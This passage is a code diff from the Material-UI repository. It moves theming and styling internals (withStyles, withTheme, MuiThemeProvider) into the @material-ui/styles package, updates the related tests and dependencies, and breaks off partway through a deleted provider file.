--- a/packages/material-ui-styles/src/index.js
+++ b/packages/material-ui-styles/src/index.js
@@ -1,11 +1,11 @@
 export { default as createGenerateClassName } from './createGenerateClassName';
 export { default as createStyles } from './createStyles';
-export { default as install } from './install';
 export { default as jssPreset } from './jssPreset';
 export { default as makeStyles } from './makeStyles';
+export { default as mergeClasses } from './mergeClasses';
 export { default as styled } from './styled';
 export { default as StylesProvider } from './StylesProvider';
 export { default as ThemeProvider } from './ThemeProvider';
 export { default as useTheme } from './useTheme';
 export { default as withStyles } from './withStyles';
-export { default as withTheme } from './withTheme';
+export { default as withTheme, withThemeCreator } from './withTheme';
diff --git a/packages/material-ui-styles/src/index.spec.tsx b/packages/material-ui-styles/src/index.spec.tsx
deleted file mode 100644
index e6cac4ca619302..00000000000000
--- a/packages/material-ui-styles/src/index.spec.tsx
+++ /dev/null
@@ -1,94 +0,0 @@
-import * as React from 'react';
-import { Theme } from '@material-ui/core';
-import { AppBarProps } from '@material-ui/core/AppBar';
-import { getThemeProps, ThemeProvider } from '@material-ui/styles';
-import styled, { StyledProps } from '@material-ui/styles/styled';
-
-function testGetThemeProps(theme: Theme, props: AppBarProps): void {
-  const overriddenProps: AppBarProps = getThemeProps({ name: 'MuiAppBar', props, theme });
-
-  // AvatarProps not assignable to AppBarProps
-  // $ExpectError
-  const wronglyNamedProps: AppBarProps = getThemeProps({
-    name: 'MuiAvatar',
-    props,
-    theme,
-  });
-}
-
-{
-  // styled
-  const StyledButton = styled('button')({
-    background: 'linear-gradient(45deg, #FE6B8B 30%, #FF8E53 90%)',
-    borderRadius: 3,
-    border: 0,
-    color: 'white',
-    height: 48,
-    padding: '0 30px',
-    boxShadow: '0 3px 5px 2px rgba(255, 105, 135, .3)',
-  });
-  const renderedStyledButton = <StyledButton classes={{ root: 'additional-root-class' }} />;
-  // $ExpectError
-  const nonExistingClassKey = <StyledButton classes={{ notRoot: 'additional-root-class' }} />;
-
-  interface MyTheme {
-    fontFamily: string;
-  }
-
-  interface MyComponentProps extends StyledProps {
-    defaulted: string;
-  }
-  class MyComponent extends React.Component<MyComponentProps> {
-    static defaultProps = {
-      defaulted: 'Hello, World!',
-    };
-    render() {
-      const { className, defaulted } = this.props;
-      return <div className={className}>Greeted?: {defaulted.startsWith('Hello')}</div>;
-    }
-  }
-  const StyledMyComponent = styled(MyComponent)((theme: MyTheme) => ({
-    fontFamily: theme.fontFamily,
-  }));
-  const renderedMyComponent = (
-    <>
-      <MyComponent className="test" />
-      <StyledMyComponent />
-    </>
-  );
-
-  // will not catch type mismatch
-  interface ClassNumberProps {
-    className: number;
-  }
-  styled(({ className }: ClassNumberProps) => <div>{className.toFixed(2)}</div>)({});
-}
-
-{
-  // ThemeProvider
-  interface CustomTheme {
-    myCustomColor: string;
-  }
-
-  const theme: CustomTheme = {
-    myCustomColor: 'red',
-  };
-
-  const renderCustomThemeProviders = (
-    <>
-      <ThemeProvider theme={theme}>
-        <div />
-        <ThemeProvider theme={(outerTheme: CustomTheme) => ({ myCustomColor: 'green' })}>
-          <div />
-        </ThemeProvider>
-      </ThemeProvider>
-    </>
-  );
-
-  const renderWrongCustomThemeProviders = (
-    // $ExpectError
-    <ThemeProvider theme={(outerTheme: CustomTheme) => ({ myExtraColor: 'green' })}>
-      <div />
-    </ThemeProvider>
-  );
-}
diff --git a/packages/material-ui-styles/src/install.js b/packages/material-ui-styles/src/install.js
deleted file mode 100644
index 7588080e7cc5c2..00000000000000
--- a/packages/material-ui-styles/src/install.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/* eslint-disable no-underscore-dangle */
-
-import { ponyfillGlobal } from '@material-ui/utils';
-import ThemeProvider from './ThemeProvider';
-import withTheme from './withTheme';
-import withStyles from './withStyles';
-
-export default function install() {
-  if (!ponyfillGlobal.__MUI_STYLES__) {
-    ponyfillGlobal.__MUI_STYLES__ = {};
-  }
-
-  ponyfillGlobal.__MUI_STYLES__.MuiThemeProvider = ThemeProvider;
-  ponyfillGlobal.__MUI_STYLES__.withTheme = withTheme;
-  ponyfillGlobal.__MUI_STYLES__.withStyles = withStyles;
-}
diff --git a/packages/material-ui-styles/src/jssPreset.js b/packages/material-ui-styles/src/jssPreset.js
index 074ca539272d26..51866a798b2300 100644
--- a/packages/material-ui-styles/src/jssPreset.js
+++ b/packages/material-ui-styles/src/jssPreset.js
@@ -1,6 +1,6 @@
 import functions from 'jss-plugin-rule-value-function';
-import global from 'jss-plugin-global/dist/jss-plugin-global.cjs';
-import nested from 'jss-plugin-nested/dist/jss-plugin-nested.cjs';
+import global from 'jss-plugin-global';
+import nested from 'jss-plugin-nested';
 import camelCase from 'jss-plugin-camel-case';
 import defaultUnit from 'jss-plugin-default-unit';
 import vendorPrefixer from 'jss-plugin-vendor-prefixer';
diff --git a/packages/material-ui-styles/src/makeStyles.js b/packages/material-ui-styles/src/makeStyles.js
index 4fe6f213067b72..07519efbc3d8da 100644
--- a/packages/material-ui-styles/src/makeStyles.js
+++ b/packages/material-ui-styles/src/makeStyles.js
@@ -1,10 +1,9 @@
-/* eslint-disable react-hooks/exhaustive-deps */
 import React from 'react';
 import warning from 'warning';
 import { getDynamicStyles } from 'jss';
 import mergeClasses from './mergeClasses';
 import multiKeyStore from './multiKeyStore';
-import ThemeContext from './ThemeContext';
+import useTheme from './useTheme';
 import { StylesContext } from './StylesProvider';
 import { increment } from './indexCounter';
 import getStylesCreator from './getStylesCreator';
@@ -184,7 +183,7 @@ function useSynchronousEffect(func, values) {
         output();
       }
     },
-    values,
+    values, // eslint-disable-line react-hooks/exhaustive-deps
   );
 }
 
@@ -194,25 +193,22 @@ function makeStyles(stylesOrCreator, options = {}) {
     name,
     // Help with debuggability.
     classNamePrefix: classNamePrefixOption,
-    defaultTheme: defaultThemeOption,
     Component,
+    defaultTheme = noopTheme,
     ...stylesOptions2
   } = options;
   const stylesCreator = getStylesCreator(stylesOrCreator);
-  const listenToTheme = stylesCreator.themingEnabled || typeof name === 'string';
-  const defaultTheme = defaultThemeOption || noopTheme;
-
   const classNamePrefix = name || classNamePrefixOption || 'Hook';
-
   stylesCreator.options = {
     index: increment(),
     name,
     meta: classNamePrefix,
     classNamePrefix,
   };
+  const listenToTheme = stylesCreator.themingEnabled || typeof name === 'string';
 
   return (props = {}) => {
-    const theme = listenToTheme ? React.useContext(ThemeContext) || defaultTheme : defaultTheme;
+    const theme = (listenToTheme ? useTheme() : null) || defaultTheme;
     const stylesOptions = {
       ...React.useContext(StylesContext),
       ...stylesOptions2,
diff --git a/packages/material-ui-styles/src/styled.test.js b/packages/material-ui-styles/src/styled.test.js
index 9cf99611520dd3..ce3e641caf02c3 100644
--- a/packages/material-ui-styles/src/styled.test.js
+++ b/packages/material-ui-styles/src/styled.test.js
@@ -10,22 +10,25 @@ import StylesProvider from './StylesProvider';
 
 describe('styled', () => {
   let mount;
-  const StyledButton = styled('button')({
-    background: 'linear-gradient(45deg, #FE6B8B 30%, #FF8E53 90%)',
-    borderRadius: 3,
-    border: 0,
-    color: 'white',
-    height: 48,
-    padding: '0 30px',
-    boxShadow: '0 3px 5px 2px rgba(255, 105, 135, .3)',
-  });
+  let StyledButton;
 
   before(() => {
     mount = createMount();
+    global.disableShallowSupport = true;
+    StyledButton = styled('button')({
+      background: 'linear-gradient(45deg, #FE6B8B 30%, #FF8E53 90%)',
+      borderRadius: 3,
+      border: 0,
+      color: 'white',
+      height: 48,
+      padding: '0 30px',
+      boxShadow: '0 3px 5px 2px rgba(255, 105, 135, .3)',
+    });
   });
 
   after(() => {
     mount.cleanUp();
+    global.disableShallowSupport = false;
   });
 
   it('should work as expected', () => {
diff --git a/packages/material-ui-styles/src/withStyles.js b/packages/material-ui-styles/src/withStyles.js
index 1910dc50d7d234..44543a2bea586f 100644
--- a/packages/material-ui-styles/src/withStyles.js
+++ b/packages/material-ui-styles/src/withStyles.js
@@ -2,16 +2,18 @@ import React from 'react';
 import PropTypes from 'prop-types';
 import warning from 'warning';
 import hoistNonReactStatics from 'hoist-non-react-statics';
-import { chainPropTypes, getDisplayName } from '@material-ui/utils';
+import { chainPropTypes, getDisplayName, ponyfillGlobal } from '@material-ui/utils';
 import makeStyles from './makeStyles';
 import getThemeProps from './getThemeProps';
 import useTheme from './useTheme';
+import mergeClasses from './mergeClasses';
+import getStylesCreator from './getStylesCreator';
 
 // Link a style sheet with a component.
 // It does not modify the component passed to it;
 // instead, it returns a new component, with a `classes` property.
 const withStyles = (stylesOrCreator, options = {}) => Component => {
-  const { withTheme = false, name, ...otherOptions } = options;
+  const { defaultTheme, withTheme = false, name, ...stylesOptions } = options;
 
   if (process.env.NODE_ENV !== 'production' && Component === undefined) {
     throw new Error(
@@ -37,13 +39,14 @@ const withStyles = (stylesOrCreator, options = {}) => Component => {
   }
 
   const useStyles = makeStyles(stylesOrCreator, {
-    ...otherOptions,
+    defaultTheme,
     Component,
     name: name || Component.displayName,
     classNamePrefix,
+    ...stylesOptions,
   });
 
-  const WithStyles = React.forwardRef(function WithStyles(props, ref) {
+  let WithStyles = React.forwardRef(function WithStyles(props, ref) {
     const { classes: classesProp, innerRef, ...other } = props;
     const classes = useStyles(props);
 
@@ -53,7 +56,7 @@ const withStyles = (stylesOrCreator, options = {}) => Component => {
     if (typeof name === 'string' || withTheme) {
       // name and withTheme are invariant in the outer scope
       // eslint-disable-next-line react-hooks/rules-of-hooks
-      theme = useTheme();
+      theme = useTheme() || defaultTheme;
 
       if (name) {
         more = getThemeProps({ theme, name, props: other });
@@ -61,7 +64,7 @@ const withStyles = (stylesOrCreator, options = {}) => Component => {
 
       // Provide the theme to the wrapped component.
       // So we don't have to use the `withTheme()` Higher-order Component.
-      if (withTheme) {
+      if (withTheme && !more.theme) {
         more.theme = theme;
       }
     }
@@ -69,6 +72,40 @@ const withStyles = (stylesOrCreator, options = {}) => Component => {
     return <Component ref={innerRef || ref} classes={classes} {...more} />;
   });
 
+  if (process.env.NODE_ENV === 'test' && !ponyfillGlobal.disableShallowSupport) {
+    // Generate a fake classes object.
+    const stylesCreator = getStylesCreator(stylesOrCreator);
+    const styles = stylesCreator.create(defaultTheme, name);
+    const classes = Object.keys(styles).reduce((acc, key) => {
+      acc[key] = `${name}-${key}`;
+      return acc;
+    }, {});
+
+    // eslint-disable-next-line react/no-multi-comp
+    class WithStylesTest extends React.Component {
+      render() {
+        // eslint-disable-next-line react/prop-types
+        const { classes: newClasses, innerRef, ...other } = this.props;
+        const more = other;
+
+        if (withTheme && !more.theme) {
+          more.theme = defaultTheme;
+        }
+
+        return (
+          <Component
+            ref={innerRef}
+            classes={mergeClasses({ baseClasses: classes, newClasses })}
+            {...more}
+          />
+        );
+      }
+    }
+    WithStylesTest.Original = WithStyles;
+    WithStyles = WithStylesTest;
+    WithStyles.classes = classes;
+  }
+
   WithStyles.propTypes = {
     /**
      * Override or extend the styles applied to the component.
@@ -97,6 +134,12 @@ const withStyles = (stylesOrCreator, options = {}) => Component => {
 
   hoistNonReactStatics(WithStyles, Component);
 
+  if (process.env.NODE_ENV !== 'production') {
+    // Exposed for test purposes.
+    WithStyles.Naked = Component;
+    WithStyles.options = options;
+  }
+
   return WithStyles;
 };
 
diff --git a/packages/material-ui-styles/src/withStyles.test.js b/packages/material-ui-styles/src/withStyles.test.js
index 3a7c80eb765676..a45f8a9e898127 100644
--- a/packages/material-ui-styles/src/withStyles.test.js
+++ b/packages/material-ui-styles/src/withStyles.test.js
@@ -17,10 +17,12 @@ describe('withStyles', () => {
 
   before(() => {
     mount = createMount();
+    global.disableShallowSupport = true;
   });
 
   after(() => {
     mount.cleanUp();
+    global.disableShallowSupport = false;
   });
 
   it('hoist statics', () => {
@@ -32,7 +34,6 @@ describe('withStyles', () => {
 
   it('hoists mui internals', () => {
     assert.strictEqual(isMuiElement(<Input />, ['Input']), true);
-
     // the imported Input is decorated with @material-ui/core/styles
     const StyledInput = withStyles({})(Input);
 
diff --git a/packages/material-ui-styles/src/withTheme.js b/packages/material-ui-styles/src/withTheme.js
index 0baa514f965d2c..5ae4ae164deb83 100644
--- a/packages/material-ui-styles/src/withTheme.js
+++ b/packages/material-ui-styles/src/withTheme.js
@@ -1,52 +1,77 @@
 import React from 'react';
 import PropTypes from 'prop-types';
 import hoistNonReactStatics from 'hoist-non-react-statics';
-import { chainPropTypes, getDisplayName } from '@material-ui/utils';
+import { chainPropTypes, getDisplayName, ponyfillGlobal } from '@material-ui/utils';
 import useTheme from './useTheme';
 
-// Provide the theme object as a property to the input component.
-// It's an alternative API to useTheme().
-// We encourage the usage of useTheme() where possible.
-const withTheme = Component => {
-  if (process.env.NODE_ENV !== 'production' && Component === undefined) {
-    throw new Error(
-      [
-        'You are calling withTheme(Component) with an undefined component.',
-        'You may have forgotten to import it.',
-      ].join('\n'),
-    );
-  }
-
-  const WithTheme = React.forwardRef(function WithTheme(props, ref) {
-    const { innerRef, ...other } = props;
-    const theme = useTheme();
-    return <Component theme={theme} ref={innerRef || ref} {...other} />;
-  });
-
-  WithTheme.propTypes = {
-    /**
-     * @deprecated
-     * Use that property to pass a ref callback to the decorated component.
-     */
-    innerRef: chainPropTypes(PropTypes.oneOfType([PropTypes.func, PropTypes.object]), props => {
-      if (props.innerRef == null) {
-        return null;
-      }
+export function withThemeCreator(options = {}) {
+  const { defaultTheme } = options;
 
-      return new Error(
-        'Material-UI: The `innerRef` prop is deprecated and will be removed in v5. ' +
-          'Refs are now automatically forwarded to the inner component.',
+  const withTheme = Component => {
+    if (process.env.NODE_ENV !== 'production' && Component === undefined) {
+      throw new Error(
+        [
+          'You are calling withTheme(Component) with an undefined component.',
+          'You may have forgotten to import it.',
+        ].join('\n'),
       );
-    }),
-  };
+    }
+
+    let WithTheme = React.forwardRef(function WithTheme(props, ref) {
+      const { innerRef, ...other } = props;
+      const theme = useTheme() || defaultTheme;
+      return <Component theme={theme} ref={innerRef || ref} {...other} />;
+    });
+
+    if (process.env.NODE_ENV === 'test' && !ponyfillGlobal.disableShallowSupport) {
+      // eslint-disable-next-line react/no-multi-comp
+      class WithThemeTest extends React.Component {
+        render() {
+          // eslint-disable-next-line react/prop-types
+          const { innerRef, ...other } = this.props;
+          return <Component theme={defaultTheme} ref={innerRef} {...other} />;
+        }
+      }
+      WithTheme = WithThemeTest;
+    }
+
+    WithTheme.propTypes = {
+      /**
+       * @deprecated
+       * Use that property to pass a ref callback to the decorated component.
+       */
+      innerRef: chainPropTypes(PropTypes.oneOfType([PropTypes.func, PropTypes.object]), props => {
+        if (props.innerRef == null) {
+          return null;
+        }
 
-  if (process.env.NODE_ENV !== 'production') {
-    WithTheme.displayName = `WithTheme(${getDisplayName(Component)})`;
-  }
+        return new Error(
+          'Material-UI: The `innerRef` prop is deprecated and will be removed in v5. ' +
+            'Refs are now automatically forwarded to the inner component.',
+        );
+      }),
+    };
 
-  hoistNonReactStatics(WithTheme, Component);
+    if (process.env.NODE_ENV !== 'production') {
+      WithTheme.displayName = `WithTheme(${getDisplayName(Component)})`;
+    }
 
-  return WithTheme;
-};
+    hoistNonReactStatics(WithTheme, Component);
+
+    if (process.env.NODE_ENV !== 'production') {
+      // Exposed for test purposes.
+      WithTheme.Naked = Component;
+    }
+
+    return WithTheme;
+  };
+
+  return withTheme;
+}
+
+// Provide the theme object as a property to the input component.
+// It's an alternative API to useTheme().
+// We encourage the usage of useTheme() where possible.
+const withTheme = withThemeCreator();
 
 export default withTheme;
diff --git a/packages/material-ui-styles/src/withTheme.test.js b/packages/material-ui-styles/src/withTheme.test.js
index 5018b3477c3d01..093256739be53a 100644
--- a/packages/material-ui-styles/src/withTheme.test.js
+++ b/packages/material-ui-styles/src/withTheme.test.js
@@ -14,10 +14,12 @@ describe('withTheme', () => {
 
   before(() => {
     mount = createMount();
+    global.disableShallowSupport = true;
   });
 
   after(() => {
     mount.cleanUp();
+    global.disableShallowSupport = false;
   });
 
   it('should inject the theme', () => {
diff --git a/packages/material-ui-styles/tsconfig.json b/packages/material-ui-styles/tsconfig.json
index 41716a7dd5c7e0..ed936adc7c8f2e 100644
--- a/packages/material-ui-styles/tsconfig.json
+++ b/packages/material-ui-styles/tsconfig.json
@@ -1,3 +1,12 @@
 {
-  "extends": "../../tsconfig"
+  "extends": "../../tsconfig",
+  "compilerOptions": {
+    "baseUrl": "../../",
+    "paths": {
+      "@material-ui/core": ["packages/material-ui/src"],
+      "@material-ui/core/*": ["packages/material-ui/src/*"],
+      "@material-ui/styles": ["packages/material-ui-styles/src"],
+      "@material-ui/styles/*": ["packages/material-ui-styles/src/*"]
+    }
+  }
 }
diff --git a/packages/material-ui/package.json b/packages/material-ui/package.json
index cb08315f7a6cc1..2c3f53d45d78e0 100644
--- a/packages/material-ui/package.json
+++ b/packages/material-ui/package.json
@@ -37,11 +37,11 @@
   },
   "dependencies": {
     "@babel/runtime": "^7.2.0",
+    "@material-ui/styles": "^4.0.0-alpha.1",
     "@material-ui/system": "^4.0.0-alpha.0",
     "@material-ui/utils": "^4.0.0-alpha.2",
     "@types/jss": "^9.5.6",
     "@types/react-transition-group": "^2.0.16",
-    "brcast": "^3.0.1",
     "clsx": "^1.0.2",
     "csstype": "^2.5.2",
     "debounce": "^1.1.0",
@@ -49,13 +49,6 @@
     "dom-helpers": "^3.2.1",
     "hoist-non-react-statics": "^3.2.1",
     "is-plain-object": "^2.0.4",
-    "jss": "^9.8.7",
-    "jss-camel-case": "^6.0.0",
-    "jss-default-unit": "^8.0.2",
-    "jss-global": "^3.0.0",
-    "jss-nested": "^6.0.1",
-    "jss-props-sort": "^6.0.0",
-    "jss-vendor-prefixer": "^7.0.0",
     "normalize-scroll-left": "^0.1.2",
     "popper.js": "^1.14.1",
     "prop-types": "^15.7.2",
diff --git a/packages/material-ui/src/ButtonBase/ButtonBase.test.js b/packages/material-ui/src/ButtonBase/ButtonBase.test.js
index 0d1aba0fa821c7..6c44a7570ab755 100644
--- a/packages/material-ui/src/ButtonBase/ButtonBase.test.js
+++ b/packages/material-ui/src/ButtonBase/ButtonBase.test.js
@@ -691,13 +691,13 @@ describe('<ButtonBase />', () => {
     });
 
     it('should not rerender the TouchRipple', () => {
-      const wrapper = mount(<ButtonBase>foo</ButtonBase>);
+      const wrapper = mount(<ButtonBase.Original>foo</ButtonBase.Original>);
       wrapper.setProps({
         children: 'bar',
       });
       assert.strictEqual(
         rerender.updates.filter(update => update.displayName !== 'NoSsr').length,
-        1,
+        2,
       );
     });
   });
diff --git a/packages/material-ui/src/Popover/Popover.js b/packages/material-ui/src/Popover/Popover.js
index 700d2b7229316f..ad54f6a7d97919 100644
--- a/packages/material-ui/src/Popover/Popover.js
+++ b/packages/material-ui/src/Popover/Popover.js
@@ -117,6 +117,7 @@ class Popover extends React.Component {
 
   setPositioningStyles = element => {
     const positioning = this.getPositioningStyle(element);
+
     if (positioning.top !== null) {
       element.style.top = positioning.top;
     }
diff --git a/packages/material-ui/src/Popover/Popover.test.js b/packages/material-ui/src/Popover/Popover.test.js
index c1da3d2a27b45c..2d9d3a75c31a81 100644
--- a/packages/material-ui/src/Popover/Popover.test.js
+++ b/packages/material-ui/src/Popover/Popover.test.js
@@ -310,7 +310,7 @@ describe('<Popover />', () => {
     let expectPopover;
 
     before(() => {
-      openPopover = (anchorOrigin, renderShallow) => {
+      openPopover = anchorOrigin => {
         if (!anchorEl) {
           anchorEl = window.document.createElement('div');
         }
@@ -326,7 +326,7 @@ describe('<Popover />', () => {
 
         return new Promise(resolve => {
           const component = (
-            <Popover
+            <Popover.Original
               {...defaultProps}
               anchorEl={anchorEl}
               anchorOrigin={anchorOrigin}
@@ -337,14 +337,10 @@ describe('<Popover />', () => {
               }}
             >
               <div />
-            </Popover>
+            </Popover.Original>
           );
-          wrapper = renderShallow ? shallow(component) : mount(component);
+          wrapper = mount(component);
           wrapper.setProps({ open: true });
-
-          if (renderShallow) {
-            resolve();
-          }
         });
       };
 
@@ -435,16 +431,12 @@ describe('<Popover />', () => {
     });
 
     it("should use anchorEl's parent body as container if container not provided", async () => {
-      openPopover(undefined, true).then(() => {
-        assert.strictEqual(
-          wrapper
-            .dive()
-            .find(Modal)
-            .props().container,
-          window.document.body,
-          "should use anchorEl's parent body as Modal container",
-        );
-      });
+      await openPopover(undefined);
+      assert.strictEqual(
+        wrapper.find(Modal).props().container,
+        window.document.body,
+        "should use anchorEl's parent body as Modal container",
+      );
     });
 
     it('should not pass container to Modal if container or anchorEl props are not provided', () => {
@@ -465,7 +457,7 @@ describe('<Popover />', () => {
       openPopover = anchorOrigin =>
         new Promise(resolve => {
           wrapper = mount(
-            <Popover
+            <Popover.Original
               {...defaultProps}
               anchorReference="anchorPosition"
               anchorPosition={anchorPosition}
@@ -477,7 +469,7 @@ describe('<Popover />', () => {
               }}
             >
               <div />
-            </Popover>,
+            </Popover.Original>,
           );
           wrapper.setProps({ open: true });
         });
@@ -499,9 +491,8 @@ describe('<Popover />', () => {
     });
 
     it('should be positioned according to the passed coordinates', async () => {
-      openPopover().then(() => {
-        expectPopover(anchorPosition.top, anchorPosition.left);
-      });
+      await openPopover();
+      expectPopover(anchorPosition.top, anchorPosition.left);
     });
 
     it('should ignore the anchorOrigin prop when being positioned', async () => {
@@ -558,9 +549,8 @@ describe('<Popover />', () => {
     });
 
     it('should not try to change the position', async () => {
-      openPopover().then(() => {
-        expectPopover(11, 12);
-      });
+      await openPopover();
+      expectPopover(11, 12);
     });
   });
 
diff --git a/packages/material-ui/src/Popper/Popper.test.js b/packages/material-ui/src/Popper/Popper.test.js
index 07e940974004c0..054b8f857a06f0 100644
--- a/packages/material-ui/src/Popper/Popper.test.js
+++ b/packages/material-ui/src/Popper/Popper.test.js
@@ -1,12 +1,10 @@
 import React from 'react';
 import { assert } from 'chai';
 import { spy } from 'sinon';
-import { createShallow, createMount, unwrap } from '@material-ui/core/test-utils';
+import { createShallow, createMount } from '@material-ui/core/test-utils';
 import Grow from '../Grow';
 import Popper from './Popper';
 
-const PopperNaked = unwrap(Popper);
-
 describe('<Popper />', () => {
   const defaultProps = {
     children: <span>Hello World</span>,
@@ -108,7 +106,7 @@ describe('<Popper />', () => {
     });
 
     it('should position the popper when opening', () => {
-      const wrapper = mount(<PopperNaked {...defaultProps} open={false} anchorEl={anchorEl} />);
+      const wrapper = mount(<Popper {...defaultProps} open={false} anchorEl={anchorEl} />);
       const instance = wrapper.instance();
       assert.strictEqual(instance.popper == null, true);
       wrapper.setProps({ open: true });
@@ -116,7 +114,7 @@ describe('<Popper />', () => {
     });
 
     it('should not position the popper when closing', () => {
-      const wrapper = mount(<PopperNaked {...defaultProps} open anchorEl={anchorEl} />);
+      const wrapper = mount(<Popper {...defaultProps} open anchorEl={anchorEl} />);
       const instance = wrapper.instance();
       assert.strictEqual(instance.popper !== null, true);
       wrapper.setProps({ open: false });
@@ -127,13 +125,13 @@ describe('<Popper />', () => {
   describe('prop: transition', () => {
     it('should work', () => {
       const wrapper = mount(
-        <PopperNaked {...defaultProps} open anchorEl={anchorEl} transition>
+        <Popper {...defaultProps} open anchorEl={anchorEl} transition>
           {({ TransitionProps }) => (
             <Grow {...TransitionProps}>
               <span>Hello World</span>
             </Grow>
           )}
-        </PopperNaked>,
+        </Popper>,
       );
       const instance = wrapper.instance();
       assert.strictEqual(wrapper.find('span').length, 1);
@@ -153,13 +151,13 @@ describe('<Popper />', () => {
   describe('prop: onExited', () => {
     it('should update the exited state', () => {
       const wrapper = mount(
-        <PopperNaked {...defaultProps} open anchorEl={anchorEl} transition>
+        <Popper {...defaultProps} open anchorEl={anchorEl} transition>
           {({ TransitionProps }) => (
             <Grow {...TransitionProps}>
               <span>Hello World</span>
             </Grow>
           )}
-        </PopperNaked>,
+        </Popper>,
       );
       wrapper.setProps({
         open: false,
diff --git a/packages/material-ui/src/Select/Select.js b/packages/material-ui/src/Select/Select.js
index c7aeabde1a167d..2a55d11e2195ab 100644
--- a/packages/material-ui/src/Select/Select.js
+++ b/packages/material-ui/src/Select/Select.js
@@ -2,11 +2,11 @@
 
 import React from 'react';
 import PropTypes from 'prop-types';
+import { mergeClasses } from '@material-ui/styles';
 import SelectInput from './SelectInput';
 import formControlState from '../FormControl/formControlState';
 import withFormControlContext from '../FormControl/withFormControlContext';
 import withStyles from '../styles/withStyles';
-import mergeClasses from '../styles/mergeClasses';
 import ArrowDropDownIcon from '../internal/svg-icons/ArrowDropDown';
 // To replace with InputBase in v4
 import Input from '../Input';
diff --git a/packages/material-ui/src/index.d.ts b/packages/material-ui/src/index.d.ts
index fc2f0bf55425cc..fe66db1e2921af 100644
--- a/packages/material-ui/src/index.d.ts
+++ b/packages/material-ui/src/index.d.ts
@@ -87,10 +87,7 @@ import * as colors from './colors';
 
 export { colors };
 export {
-  createGenerateClassName,
   createMuiTheme,
-  jssPreset,
-  MuiThemeProvider,
   StyleRulesCallback,
   Theme,
   withStyles,
diff --git a/packages/material-ui/src/index.js b/packages/material-ui/src/index.js
index a99757ee76c2e1..d98d339b5aa3c5 100644
--- a/packages/material-ui/src/index.js
+++ b/packages/material-ui/src/index.js
@@ -2,11 +2,10 @@ import * as colors from './colors';
 
 export { colors };
 export {
-  createGenerateClassName,
   createMuiTheme,
-  createStyles,
-  jssPreset,
+  makeStyles,
   MuiThemeProvider,
+  styled,
   withStyles,
   withTheme,
 } from './styles';
diff --git a/packages/material-ui/src/styles/MuiThemeProvider.d.ts b/packages/material-ui/src/styles/MuiThemeProvider.d.ts
deleted file mode 100644
index dc65997654cebb..00000000000000
--- a/packages/material-ui/src/styles/MuiThemeProvider.d.ts
+++ /dev/null
@@ -1,20 +0,0 @@
-import { StyleSheet } from 'jss';
-import * as React from 'react';
-import { Theme } from './createMuiTheme';
-import { StyleRules, StylesCreator } from './withStyles';
-
-interface SheetManagerTheme {
-  refs: number;
-  sheet: StyleSheet;
-}
-
-export interface MuiThemeProviderProps {
-  theme: Theme | ((outer: Theme | null) => Theme);
-  sheetsManager?: Map<StylesCreator, Map<Theme, SheetManagerTheme>>;
-  disableStylesGeneration?: boolean;
-  children: React.ReactNode;
-}
-
-declare const MuiThemeProvider: React.ComponentType<MuiThemeProviderProps>;
-
-export default MuiThemeProvider;
diff --git a/packages/material-ui/src/styles/MuiThemeProvider.js b/packages/material-ui/src/styles/MuiThemeProvider.js
index a9fcc180c1ce9a..a306115818b3f3 100644
--- a/packages/material-ui/src/styles/MuiThemeProvider.js
+++ b/packages/material-ui/src/styles/MuiThemeProvider.js
@@ -1,164 +1,7 @@
-/* eslint-disable no-underscore-dangle */
-
-import React from 'react';
-import PropTypes from 'prop-types';
-import warning from 'warning';
-import createBroadcast from 'brcast';
-import { exactProp, ponyfillGlobal } from '@material-ui/utils';
-import themeListener, { CHANNEL } from './themeListener';
+import { ThemeProvider } from '@material-ui/styles';
 
 /**
- * This component takes a `theme` property.
- * It makes the `theme` available down the React tree thanks to React context.
- * This component should preferably be used at **the root of your component tree**.
+ * @ignore - internal component.
+ * @deprecated
  */
-export class MuiThemeProviderOld extends React.Component {
-  broadcast = createBroadcast();
-
-  // We are not using the React state in order to avoid unnecessary rerender.
-  constructor(props, context) {
-    super();
-    // Get the outer theme from the context, can be null
-    this.outerTheme = themeListener.initial(context);
-    // Propagate the theme so it can be accessed by the children
-    this.broadcast.setState(this.mergeOuterLocalTheme(props.theme));
-  }
-
-  getChildContext() {
-    const { disableStylesGeneration, sheetsCache, sheetsManager } = this.props;
-    const muiThemeProviderOptions = this.context.muiThemeProviderOptions || {};
-
-    if (disableStylesGeneration !== undefined) {
-      muiThemeProviderOptions.disableStylesGeneration = disableStylesGeneration;
-    }
-
-    if (sheetsCache !== undefined) {
-      muiThemeProviderOptions.sheetsCache = sheetsCache;
-    }
-
-    if (sheetsManager !== undefined) {
-      muiThemeProviderOptions.sheetsManager = sheetsManager;
-    }
-
-    return {
-      [CHANNEL]: this.broadcast,
-      muiThemeProviderOptions,
-    };
-  }
-
-  componentDidMount() {
-    // Subscribe on the outer theme, if present
-    this.unsubscribeId = themeListener.subscribe(this.context, outerTheme => {
-      this.outerTheme = outerTheme;
-      // Forward the parent theme update to the children
-      this.broadcast.setState(this.mergeOuterLocalTheme(this.props.theme));
-    });
-  }
-
-  componentDidUpdate(prevProps) {
-    // Propagate a local theme update
-    if (this.props.theme !== prevProps.theme) {
-      this.broadcast.setState(this.mergeOuterLocalTheme(this.props.theme));
-    }
-  }
-
-  componentWillUnmount() {
-    if (this.unsubscribeId !== null) {
-      themeListener.unsubscribe(this.context, this.unsubscribeId);
-    }
-  }
-
-  // Simple merge between the outer theme and the local theme
-  mergeOuterLocalTheme(localTheme) {
-    // To support composition of theme.
-    if (typeof localTheme === 'function') {
-      warning(
-        this.outerTheme,
-        [
-          'Material-UI: you are providing a theme function property ' +
-            'to the MuiThemeProvider component:',
-          '<MuiThemeProvider theme={outerTheme => outerTheme} />',
-          'However, no outer theme is present.',
-          'Make sure a theme is already injected higher in the React tree ' +
-            'or provide a theme object.',
-        ].join('\n'),
-      );
-      return localTheme(this.outerTheme);
-    }
-
-    if (!this.outerTheme) {
-      return localTheme;
-    }
-
-    return { ...this.outerTheme, ...localTheme };
-  }
-
-  render() {
-    // TODO move the sheetsManager property to a different component.
-    // warning(
-    //   typeof window !== 'undefined' || this.props.sheetsManager,
-    //   [
-    //     'Material-UI: you need to provide a sheetsManager to the MuiThemeProvider ' +
-    //       'when rendering on the server.',
-    //     'If you do not, you might experience a memory leak',
-    //   ].join('\n'),
-    // );
-    return this.props.children;
-  }
-}
-
-MuiThemeProviderOld.propTypes = {
-  /**
-   * You can wrap a node.
-   */
-  children: PropTypes.node.isRequired,
-  /**
-   * You can disable the generation of the styles with this option.
-   * It can be useful when traversing the React tree outside of the HTML
-   * rendering step on the server.
-   * Let's say you are using react-apollo to extract all
